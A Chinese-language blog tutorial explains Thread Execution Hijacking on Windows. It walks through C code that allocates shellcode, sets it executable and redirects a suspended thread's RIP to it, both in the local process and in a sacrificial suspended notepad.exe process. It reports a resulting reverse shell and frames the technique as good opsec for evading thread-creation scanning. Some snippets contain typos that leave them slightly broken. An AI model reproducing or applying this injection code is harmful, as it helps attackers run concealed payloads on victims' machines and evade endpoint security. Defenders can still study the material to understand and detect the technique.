Thread Execution Hijacking技术
Thread Execution Hijacking是进程注入技术的一个子类,指先暂停或挂起线程,再修改其内存空间,将其替换为恶意代码,最后恢复,达到不创建新线程来执行恶意代码的目的。
0x1 背景知识
线程上下文(Thread Context)包括了线程无缝恢复执行所需的所有信息,包括CPU寄存器、堆栈等。
线程上下文对应CONTEXT
结构,不同的CPU则有不同的结构,具体可以参看CONTEXT structure
这里需要介绍两个Win32 API:
- GetThreadContext():获取线程上下文
CONTEXT
结构 - SetThreadContext():将
CONTEXT
结构填充给指定线程
0x2 代码实现
首先,我们将创建一个新线程并将其挂起或暂停,它的入口是一个正常函数,使用CreateThread()
即可实现:
/*void Test()
{
int a = 1;
int b = a + 10;
}*/
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&Test, NULL, CREATE_SUSPENDED, NULL)
除了在创建进程时设置dwCreationFlags
参数外,还可以使用SuspendThread()
函数来挂起正常线程。
之后,需要先将payload拷贝至内存:
PVOID pAddress = VirtualAllic(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(pAddress, shellcode, sizeof(shellcode));
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);
再获取线程上下文,并修改RIP
,使其指向存放payload的位置,并恢复线程:
CONTEXT ThreadCt = {
.ContextFlags = CONTEXT_CONTROL
};
GetThreadContext(hThread, &ThreadCt);
ThreadCt.Rip = pAddress;
SetThreadContext(hThread, &ThreadCt);
ResumeThread(hThread);
这里要注意:调用GetThreadContext()
前需要为CONTEXT.ContextFlags
赋值,且为了进行线程劫持,该值必须是CONTEXT_CONTROL
或CONTEXT_ALL
.
另外,进程的主线程是不能被劫持的,所以我们选择创建一个新线程作为目标。
实现效果:
可以看到,反向shell已经建立:
0x3 拓展
这里是对本地的线程进行劫持,是否可以劫持远程进程的线程呢?
也许你会想,可以使用CreateRemoteThread()
创建远程进程的线程然后再劫持,但这种操作的opsec不佳,更好的选择是以暂停状态创建一个牺牲进程,并劫持其中的线程。
使用CreateProcess()
可以实现这一点:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName, //进程名
[in, out, optional] LPSTR lpCommandLine, //命令行参数
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags, //进程创建标志
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
我们来创建一个记事本进程:
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
CreateProcess(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENED, NULL, NULL, &Si, &Pi);
之后将payload注入远程进程,注意这里只是将其写入但不执行:
PVOID pAddress = VirtualAllocEx(Pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(Pi.hProcess, pAddress, shellcode, sizeof(shellcode), NULL);
VirtualProtectEx(Pi.hProcess, pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);
劫持线程的步骤是一样的,只是需要在恢复线程后使用WaitForSingleObject()
进行等待。
效果:
0x4 小结
本文简单介绍了线程劫持技术的原理和代码实现,该技术我认为能在一定程度上对抗线程创建扫描,但跟Havoc作者聊了一下:
有机会测试一下。